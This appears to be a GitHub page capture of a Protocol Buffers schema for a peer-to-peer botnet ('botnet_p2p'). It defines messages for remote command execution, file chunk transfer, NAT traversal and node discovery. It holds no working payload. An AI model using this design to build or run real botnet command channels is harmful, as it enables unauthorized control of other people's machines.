-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathMessage.proto
85 lines (73 loc) · 1.6 KB
/
Message.proto
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
syntax = "proto3";
package botnet_p2p;
message Message {
enum MessageType {
UNDEFINED = 0;
COMMAND = 1;
RESPONSE = 2;
FILE_CHUNK = 3;
NAT_REQUEST = 4;
NAT_CHECK = 5;
PING = 6;
LEAVE = 7;
FIND_NODE = 8;
FOUND_NODES = 9;
}
enum Status {
FAIL = 0;
OK = 1;
}
message NodeDescription {
uint64 guid = 1;
string IP = 2;
string Port = 3;
bool isNAT = 4;
}
message Command {
string commandString = 1;
bool sendResponse = 2;
}
message Response {
string value = 1;
Status status = 2;
}
message FileChunk {
string path = 1;
bool name = 2;
uint32 chunkNumber = 3;
uint32 allChunks = 4;
uint32 chunkSize = 5;
bytes data = 6;
}
message NATRequest {
uint64 target = 1;
}
message NATCheck {
uint64 source = 1;
}
message Leave {
uint64 guid = 1;
}
message FindNode {
uint64 guid = 1;
}
message FoundNodes {
repeated NodeDescription nodes = 1;
}
uint64 uuid = 1;
MessageType type = 2;
string sender = 3;
string receiver = 4;
bool propagation = 5;
bytes signature = 6;
oneof payload {
Command pCommand = 7;
Response pResponse = 8;
FileChunk pFile = 9;
NATRequest pNATRequest = 10;
NATCheck pNATCheck = 11;
Leave pLeave = 12;
FindNode pFindMode = 13;
FoundNodes pFoundNodes = 14;
}
}